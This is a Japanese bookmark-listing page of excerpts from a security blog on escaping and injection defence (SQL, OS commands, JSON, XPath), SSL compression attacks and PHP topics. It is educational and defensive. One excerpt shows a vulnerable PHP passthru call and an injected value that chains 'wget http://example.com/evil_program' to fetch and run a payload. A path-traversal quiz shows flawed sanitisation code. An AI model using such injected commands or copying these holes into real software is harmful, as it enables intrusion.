タグ

ブックマーク / blog.ohgaki.net (120)

  • インジェクション対策、基礎の基礎

    (Last Updated On: 2018年11月12日)インジェクション攻撃には様々な手法があります。メモリ管理をプログラマが行うC言語などではメモリにインジェクションするバッファローオーバーフロー/アンダーフロー、テキストベースのインターフェースではテキストインジェクション(JavaScriptインジェクション、SQLインジェクションなど)があります。 これらのインジェクション脆弱性はなぜ発生するのでしょうか? 今回は「インジェクション対策、基礎の基礎」の話です。 インジェクション脆弱性の原因 インジェクション脆弱性が発生する原理は非常に簡単です。インジェクション脆弱性は 命令とデータの分離 に失敗した場合に発生します。命令とデータとは何でしょうか? 脆弱性が発生する仕組みと対策が単純なSQLを例に解説しますが、この考え方はプラットフォームや出力先に関係なく全ての出力先に利用できます

    インジェクション対策、基礎の基礎
  • SQL識別子のエスケープ

    (Last Updated On: 2018年8月13日)SQLのリテラルはエスケープが必要であることは広く認知されていると思います。しかし、識別子のエスケープはあまり広く認知されていないように思います。 PostgreSQLの場合、識別子のエスケープAPI(libpqのPQescapeIdentifier)が提供されておりPHPでもpg_escape_identifier()として利用できます。PostgreSQLの場合は”(ダブルクオート)で識別子を囲むことにより、ダブルクォート無しでは利用できない文字(例えば日語)も識別子に利用できるようになります。 http://www.postgresql.org/docs/9.3/static/sql-syntax-lexical.html SQLリテラルのシングルクォートをシングルクォートでエスケープするように、SQL識別子ではダブルクォー

    SQL識別子のエスケープ
  • そもそもエスケープとは何なのか?

    (Last Updated On: 2018年8月16日)まずエスケープ処理について全て書こう、ということでPHP Securityカテゴリで様々なエスケープ処理について書いてきました。しかし、「エスケープ処理とは何か?」を解説していなかったので解説します。 エスケープ処理は文字列処理の基中の基です。 「エスケープは要らない、知る必要もない」という意見を稀に聞きますが、プログラムに於ける文字列処理とその重要性を理解していないからでしょう。全ての開発者はエスケープ処理の必要性を理解し、確実かつ適切にエスケープできなければなりません。 エスケープ処理の定義 エスケープ処理には複数の役割があります。エスケープ処理とは「エスケープ文字によって、それに続く文字に別の意味を持たせる処理」です。 通常、以下の3つの役割があります。 意味を持つ文字列にエンコードする(文字列に意味を持たせる) キーボー

    そもそもエスケープとは何なのか?
  • ジョブセキュリティ:セキュリティ業界の為のセキュリティ対策ではありませんか?

    (Last Updated On: 2018年8月4日)追記:このエントリの背景となる根拠の一部となる開発者は必修、SANS TOP 25の怪物的なセキュリティ対策に書きました。こちらも合わせてご覧ください。 今日のエントリは「セキュリティ業界ジョブセキュリの為のセキュリティー対策になっていないか?」という話です。 ジョブセキュリティ 知らないと仕事にならないような、雇用を守る作用を持つ手法や知識のこと。 セキュリティ対策は様々な対象を守る為に行いますが、このエントリではアプリケーションセキュリティを維持することだけを考えます。 セキュリティで飯をべるには脆弱性が量産されればされるほど困る事はありません。脆弱性を量産するには基的なセキュリティ対策を教えないことが最も効果的です。 SANS/CWE TOP 25では、ソフトウェアの脆弱性を無くす為に最も効果的なセキュリティ対策は「確実な入

    ジョブセキュリティ:セキュリティ業界の為のセキュリティ対策ではありませんか?
  • OSコマンドのエスケープ – シェルの仕様とコマンドの実装

    (Last Updated On: 2018年8月16日)OSコマンドのエスケープの続きです。OSコマンドインジェクションを防ぐための、OSコマンドのエスケープはSQLのエスケープに比べるとかなり難しいです。 難しくなる理由は多くの不定となる条件に依存する事にあります。 OSコマンドを実行するシェルはシステムによって異なる シェルはプログラミング言語+複雑なエスケープ仕様を持っている(コマンド以後はクオートなしでも文字リテラルのパラメーター+各種展開処理) WebアプリはCGIインターフェースで動作するため環境変数にインジェクションできる コマンドパラメーターの取り扱いはコマンド次第である 実行されるコマンドの実装により、間接インジェクションが可能になる SQLの場合、出力先のシステムは一定です。PostgreSQL用にエスケープした文字列をMySQLで実行したり、MySQL用にエスケープ

    OSコマンドのエスケープ – シェルの仕様とコマンドの実装
  • OSコマンドのエスケープ

    (Last Updated On: 2022年7月25日)プログラムからOSコマンドを実行する場合、エスケープ処理を行わないと任意コマンドが実行される危険性があります。 今回はOSコマンドのエスケープについてです。 OSコマンドインジェクション OSコマンドインジェクションはプログラムから実行するコマンドに、攻撃用文字列を挿入(インジェクション)して意図しないコマンドを実行させる攻撃です。 例えば、次のようなLinuxシステムのディレクトリの内容を表示させるプログラム <?php passthru('ls -l '.$_GET['dir']); (任意のディレクトリ内容を表示できる脆弱性はここでは考慮しない) に不正なコマンドを実行させるのはとても簡単です。$_GET[‘dir’]に . ; cd /tmp; wget http://example.com/evil_program; ch

    OSコマンドのエスケープ
  • オレオレSQLセキュリティ教育は論理的に破綻している

    (Last Updated On: 2018年8月20日)ツイッターでの議論を見て「SQLエスケープを教える必要はない」とする原因は「教育の基」と「セキュリティの基」の理解不足が「根的な原因」だと解ってきました。この事についてもブログを書くかも知れませんが、今日は「オレオレSQLセキュリティ教育」、言い換えると「自分の環境に特化したSQLセキュリティ教育」について書きます。一般論・基礎としてのセキュリティ教育は、自分の環境に特化したセキュリティ教育では困る、という話です。 このエントリは「貴方が普段言っている事が間違っている」と非難または攻撃しているのではありません。実務で「プリペアードクエリ・プレイスホルダ・ORMを使いましょう」と言うことは全く間違っていません。セキュリティ教育はこういう手順で教えたほうが解りやすいです、と提案しています。 ツイッターでSQLセキュリティ教育に「エ

    オレオレSQLセキュリティ教育は論理的に破綻している
    Kenji_s
    Kenji_s 2013/12/12
    SQLインジェクションとは無関係ですが、LIKE句のワイルドカードのエスケープ処理は多くの場合必要なので、エスケープを教えないのは無理がある
  • エスケープファースト、この順序は変えられない

    (Last Updated On: 2018年8月8日)アプリセキュリティ対策の根的なセキュリティ対策は教育です。セキュリティ対策を教育する場合、エスケープファースト(エスケープを一番)にすると最も高い効果を期待できます。汎用性もあり、自己解決する能力も付きます。 教育がアプリセキュリティ対策の根的対策である、とすることに異論は無いでしょう。開発者が脆弱な設計をしたり、コードを書いたりしなければ脆弱なアプリケーションは作られません。 このエントリでは出力のセキュリティ対策(教育)をテーマに考えてみます。 効果的なセキュリティ教育の手順 では根的対策である開発者のセキュリティ教育を効果的に行う手順はどのような手順でしょうか? セキュリティ対策の基は「リスク認識」です。幼児が崖や走っている車の危険性を認識できないのは「崖が危険」、「車が危険」だと認識していないからです。人は先ず危険であ

    エスケープファースト、この順序は変えられない
  • PHP文字列のエスケープ

    (Last Updated On: 2021年5月9日) PHP文字列をテキストとして出力したい場合もあります。PHPの文字列型はバイナリセーフなのでどのようなデータでも保存可能ですが、プログラム中でPHP変数をPHPのテキスト(リテラル)として出力するにはaddslashes()によるエスケープ処理が必要です。 【重要】エスケープ/API/バリデーション1は出力先に合った方法でないと意味がないです。一口にHTMLと言っても複数の”コンテクスト”があります。 JavaScript(識別子、変数など)、CSS、タグ属性名、タグ属性値(URIコンテクストに特に注意。BASE64、JavaScriptを使う場合もある) があります。 SQLクエリと言っても 引数(更にLIKE、正規表現、JSON、XMLなどに別れる)、識別子、SQL語句 などがあります。全てのテキストインターフェースにコンテクス

    PHP文字列のエスケープ
  • PHP 5.6の新機能

    (Last Updated On: 2018年8月13日)PHP Advent Calender 2013、3日目の参加エントリです。前日のPHP の配列を使った手品とその種明かしに続き3日目です。PHPの配列(ハッシュ)のキーはバイナリセーフなので何でも入れられる、ということはあまり知られていないですよね。面白い話だったと思います。 私のネタには面白さはありません。予めご了承ください :-) さて今日のテーマのPHP5.6新機能です。PHPプロジェクトのgitレポジトリでは既にPHP5.6用のブランチが作成されています。PHP 5.6は来春リリース予定です。 大ニュース(?)だったので多くの方はご存知だと思いますが、PHPは毎年新しいマイナーバージョンをリリースします。メンテナンスされるのは2つのバージョンのみです。つまりPHP 5.6がリリースされるとPHP 5.4はEOL(メンテナン

    PHP 5.6の新機能
  • SSLでの圧縮の利用は禁止

    (Last Updated On: 2018年8月8日)他人のブログのコメントに書いて、自分のブログに書かないのも良くないので一応ここにも書いておきます。 「SSLでの圧縮の利用は禁止した方が安全」です。 なんだか禁止シリーズのようになっていますが、「SSLでの圧縮の利用は禁止」です。 SSLによる暗号化を無効にするBEASTやCRIMEという攻撃手法を聞いたことがある方も多いと思います。BEASTもCRIMEも、その手法が開発される以前に発表された圧縮を利用したサイドチャネル攻撃の実装例だと言えます。新しいツールも開発されています。 この種の攻撃を防御するには圧縮を無効にします。SSL圧縮、HTTP圧縮、圧縮すべてを無効にします。(最近のクライアントはSSL圧縮を無効にしています) RSAのブログでも以下のように「BREACHツールは1分以内に解読する」と警告しています。 Secure

    SSLでの圧縮の利用は禁止
  • ブラックリスト型(サニタイズ型)のセキュリティ対策クイズ 解答編 | yohgaki's blog

    (Last Updated On: 2018年8月4日)昨日のエントリのクイズです。今回はその解答です。もう一度問題を書いておきます。 ブラックリスト型のセキュリティ対策は、どうしても仕方がない限り使ってはなりません。以下のサニタイズコードは “../” 、”..” を無効な文字列として取り除きます。このサニタイズコードを回避しカレントディレクトリよりも上の階層からのパスへアクセスするパストラバーサルを行う文字列を考えてみて下さい。(/etc/passwdなどにアクセスできる文字列を考えて下さい) レベル1 <?php if ($_GET['filename']{0} === '/') { // 絶対パスは無効 die('無効なファイル名が送信されました。'); } // トラバーサルに利用される"../", ".."を削除 // カレントディレクトリ以下のファイルだけ読み込む? $saf

    ブラックリスト型(サニタイズ型)のセキュリティ対策クイズ 解答編 | yohgaki's blog
  • APIとエスケープ/バリデーションとセキュリティ

    (Last Updated On: 2018年8月8日)今回はセキュリティ対策におけるAPIとエスケープ/バリデーションをどう考えるかの話です。 Cプログラマになろうとしているプログラマにメモリ管理を教えないことは考えられません。メモリ管理を考えなくても文字列の処理をしたりするライブラリなどもありますが、メモリ管理をあまり考えなくても良いAPIさえ使っていればOK、メモリリークもValgrindでチェックしてレポートされなければOK、と考えているプログラマが作ったプログラムが安全である可能性は低いでしょう。 言語やプラットフォームの基中の基を避けて通っては安全なプログラムの構築が難しくなるだけです。 安全なプログラムを作るために「プログラマに何を教えるべきか?」が今日のテーマです。 C言語でプログラムを作っているのに「メモリ管理が必要ないAPIをだけ使えば良い」を教えるセキュリティ教育

    APIとエスケープ/バリデーションとセキュリティ
  • フレームワーク対決:Node.js+SailsとPHP+Phalconのベンチマーク

    (Last Updated On: 2018年8月13日)Node.jsは速いと言われています。Node.jsのMVCフレームワークであるSailsとPHP最速フレームワークであるPhalconとの性能を比較しました。 テスト環境はFedora19 x86_64です。Node.jsとPHPはFedora付属の物を使い予めインストールされているものとします。性能比較は公正を期すためにシングルプロセスで行います。 Node.jsは1つのコアしか使いません。Node.jsも複数のインスタンスを実行すればマルチコアも利用可能ですが、PHP+Apacheを利用するとホストのコア全部を使ってしまいます。あまりに不公平なのでシングルプロセス(PHPのビルトインWebサーバー)でのベンチマークにしました。 SailsとPhalconのインストール まずSailsのインストールから起動までのコマンドです。

    フレームワーク対決:Node.js+SailsとPHP+Phalconのベンチマーク
  • JavaScript: / の \ によるエスケープのみによるセキュリティ対策は禁止

    (Last Updated On: 2018年8月4日)RFC 4696をもう一度読みなおしてみると/もエスケープ可能文字に定義してありました。JavaScriptのエスケープシークエンスの処理の部分も間違っていたので全面的に書き直します。 RFC 4696(JSON)の定義では string = quotation-mark *char quotation-mark char = unescaped / escape ( %x22 / ; ” quotation mark U+0022 %x5C / ; \ reverse solidus U+005C %x2F / ; / solidus U+002F %x62 / ; b backspace U+0008 %x66 / ; f form feed U+000C %x6E / ; n line feed U+000A %x72 / ;

    JavaScript: / の \ によるエスケープのみによるセキュリティ対策は禁止
  • PHPのJSONのエスケープ

    (Last Updated On: 2023年12月8日) 追記:最近のOWASPガイドの更新でJavaScript文字列はUnicodeエンコードで安全性を確保するよう変更されました。元々このブログでもUnicodeエスケープのまま利用するように書いています。他の言語のユーザーはUnicodeエスケープを利用しましょう。PHPもASCII領域の文字をUnicodeエスケープするようにした方が良いと思います。これは提案して実現するように努力します。 JSONはJavaScriptのオブジェクトや配列を表現する方式でRFC 4627で定義されています。メディアタイプはapplication/json、ファイル拡張子はjsonと定義されています。 PHPにJSON形式のデータに変換するjson_encode関数とjson_decode関数をサポートしています。 JSON関数がサポートされている

    PHPのJSONのエスケープ
  • PHP最速フレームワークPhalconのインストール

    Framework / Memory Usage (mean, megabytes per request) [lessis better]Memory Usage(MB)ZendSymfonyYiiLaravelKohanaCodeIgniterFuelPhalcon0.40.81.21.62.0 参考 Phalcon PHPとSails Node.jsのベンチマーク Phalcon 1.3 と 2.0のベンチマーク Phalconモジュールのインストール ここではCentOS/Scientific Linuxでのインストール例を紹介しますが、マニュアルにはWindows/OSXなどのインストール手順も記載されています。PhalconはC言語で記載されているのでPHPがビルドできる環境でなければなりません。つまり、CentOSなどであればgccなどのビルドツール、php-develなどの

    PHP最速フレームワークPhalconのインストール
  • PHPの比較とBOOL/NULL型の話

    (Last Updated On: 2018年8月13日)先日、10年以上勘違いをしていたことがPHPの開発者MLで議論して発覚したので、その大恥を披露します。 PHPの比較とBOOL/NULL型の話です。 ことの発端はmin関数で var_dump(min(-100,-10, FALSE( or NULL), 10, 100); とするとFALSE(またはNULL)が返ってくる、というバグレポートからでした。 PHPのBOOL/NULL型は var_dump(TRUE == 1); var_dump(FALSE == 0); var_dump(NULL == 0); はそれぞれTRUEを返します。TUREは1、FALSE/NULLは0と評価されています。 算術演算の場合、BOOL/NULL型は数値として評価されます。 var_dump(TRUE + 1); // 2 var_dump(F

    PHPの比較とBOOL/NULL型の話
    Kenji_s
    Kenji_s 2013/11/13
  • XPathクエリ(2)

    (Last Updated On: 2021年2月15日) XPathクエリ(1)の続きです。 現在のPHPXPathクエリの問題はXPath 1.0である事です。通常の仕様書であれば特殊文字のある文字列の場合はエスケープ方法やエスケープAPIが定義されています。エスケープ方法が定義されていなければ「特殊文字を入力することができない」からです。エスケープ方法が無い場合は「エスケープが必要ないAPI」を用意すべきです。 しかし、XPath 1.0ではエスケープ方法もエスケープAPI、エスケープが必要ないAPIも定義されていません。このような場合、仕様を実装しているライブラリの実際の挙動を確認して利用することになります。PHPSimpleXML、XMLXpathクラスの場合はlibxml2を利用しているので、libxml2の動作を確かめる必要があります。 モジュール内部でエスケープを実装し

    XPathクエリ(2)
  • JavaScript文字列のエスケープを回避する方法

    (Last Updated On: 2018年8月13日)JavaScriptの文字列をエスケープのエントリでJavaScript文字列をエスケープ後に直接出力するより、DOMから取得してはどうか?という提案があったのでエントリを作成しました。 まずJavaScript文字列をJavaScript文字列のエスケープで作成したescape_javascript_string関数を利用した場合の例です。 <span onmouseover="alert('<?php echo escape_javascript_string('Hello From <php>')?>');">マウスをのせてね!</span> JavaScriptでDOMの要素から取得する場合、以下のようになります。要素の取得にはjQueryを利用しています。 <script src="//ajax.googleapis.co

    JavaScript文字列のエスケープを回避する方法